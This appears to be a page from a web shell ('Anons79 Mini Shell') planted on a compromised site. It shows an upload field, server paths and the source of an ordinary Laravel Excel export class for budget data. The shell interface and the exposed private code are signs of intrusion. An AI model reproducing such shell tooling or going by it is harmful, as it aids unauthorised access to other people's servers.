Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/demo-catatan-keuangan.aplikasipos.info/app/Exports/
Upload File :
Current File : /home/aplikasiposinfo/www/demo-catatan-keuangan.aplikasipos.info/app/Exports/BudgetExport.php

<?php

namespace App\Exports;

use App\Models\Budget;
use Maatwebsite\Excel\Concerns\FromCollection;
use Maatwebsite\Excel\Concerns\FromQuery;
use Maatwebsite\Excel\Concerns\WithMapping;
use PhpOffice\PhpSpreadsheet\Shared\Date;
use App\Helper\Generator;
use App\Helper\PermissionHelper;
use Illuminate\Http\Request;
use Maatwebsite\Excel\Concerns\WithHeadings;
use Maatwebsite\Excel\Concerns\WithEvents;
use Maatwebsite\Excel\Events\BeforeImport;
use Maatwebsite\Excel\Events\AfterImport;
use Maatwebsite\Excel\Events\AfterSheet;
use Maatwebsite\Excel\Events\BeforeSheet;
use PhpOffice\PhpSpreadsheet\Style\Fill;
use PhpOffice\PhpSpreadsheet\Style\Color;
use Maatwebsite\Excel\Concerns\ShouldAutoSize;
use PhpOffice\PhpSpreadsheet\Style\NumberFormat;
use Maatwebsite\Excel\Concerns\WithColumnFormatting;
use \Carbon\Carbon;
use Illuminate\Support\Facades\Auth;

class BudgetExport implements FromCollection, WithMapping, WithHeadings,WithEvents,ShouldAutoSize
{   

    public $request;
    public $month;
    // use Component;
    /**
    * @return \Illuminate\Support\Collection
    */
    public function __construct(Request $request,$month){
        $this->request = $request;
        $this->month = $month;
    }

    public function collection()
    {
        $datas = Budget::filter($this->request)->with('divisi','perusahaan','item.groupItem.surat')
        ->with('approvedItem');
        if($this->request->divisi_id != "" && $this->request->divisi_id != null){
            $datas = $datas->whereIn('divisi_id',[$this->request->divisi_id]);
        } else {
            if(!PermissionHelper::checkPermission('view all budged')){
                $datas = $datas->whereIn('divisi_id',Auth::user()->divisis->pluck('divisi_id')->toArray())->whereIn('perusahaan_id',Auth::user()->perusahaans->pluck('perusahaan_id')->toArray());
            }
        }
        $datas = $datas->orderBy('id','desc');
        return $datas->get();
    }

    public function headings(): array
    {
        return [
            'KODE',
            'NAMA ANGGARAN',
            'BULAN ANGGARAN',
            'TAHUN ANGGARAN',
            'JUMLAH ANGGARAN',
            'JUMLAH DIAJUKAN',
            'JUMLAH REALISASI',
            'SISA ANGGARAN',
            'KETERANGAN REALISASI BIAYA (MANUAL)',
            'TANGGAL REALISASI (MANUAL)',
        ];
    }

    public function map($budget): array
    {   
        return [
            'kode'=>$budget->kode_budget,
            'nama_anggaran'=>$budget->nama_anggaran,
            'bulan_anggaran'=>isset($this->month[$budget->budget_bulan])?$this->month[$budget->budget_bulan]:'-',
            'tahun_anggaran'=>$budget->budget_tahun != '0'?$budget->budget_tahun:'-',
            'jumlah_anggaran'=>$budget->jumlah_anggaran,
            'jumlah_diajukan'=>(int)$budget->total_terpakai ?? 0,
            'jumlah_realisasi'=>(int)$budget->total_realisasi ?? 0,
            'sisa_anggaran'=>(int)$budget->sisa_anggaran ?? 0,
            'keterangan'=>$budget->keterangan_realisasi,
            'tanggal_realisasi'=>isset($budget->tanggal_realisasi)?Carbon::create($budget->tanggal_realisasi)->format('d/m/Y'):'-',
        ];
    }

    public function registerEvents(): array
    {
        return [
            AfterSheet::class=> function(AfterSheet $event)
            {
                $last_record = $event->getSheet()->getCellCollection()->getCurrentCoordinate();
                $event->getSheet()->getDelegate()->getStyle('A1:J1')
                ->applyFromArray(
                    array(
                        'fill'=>array(
                            'fillType'   => Fill::FILL_SOLID,
                            'startColor' => ['argb' => Color::COLOR_GREEN],
                        ),
                    ),
                );
                $event->getSheet()->getDelegate()->getStyle('A1:J1')->getFont()->setBold(true);
                $event->getSheet()->getDelegate()->getStyle('A1:'.$last_record)
                ->applyFromArray(
                    array(
                        'borders' => array(
                            'allBorders' => array(
                                'borderStyle' => \PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN,
                                'color' => ['rgb' => '000000'],
                            )
                        )
                    )
                );
            }
        ];
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]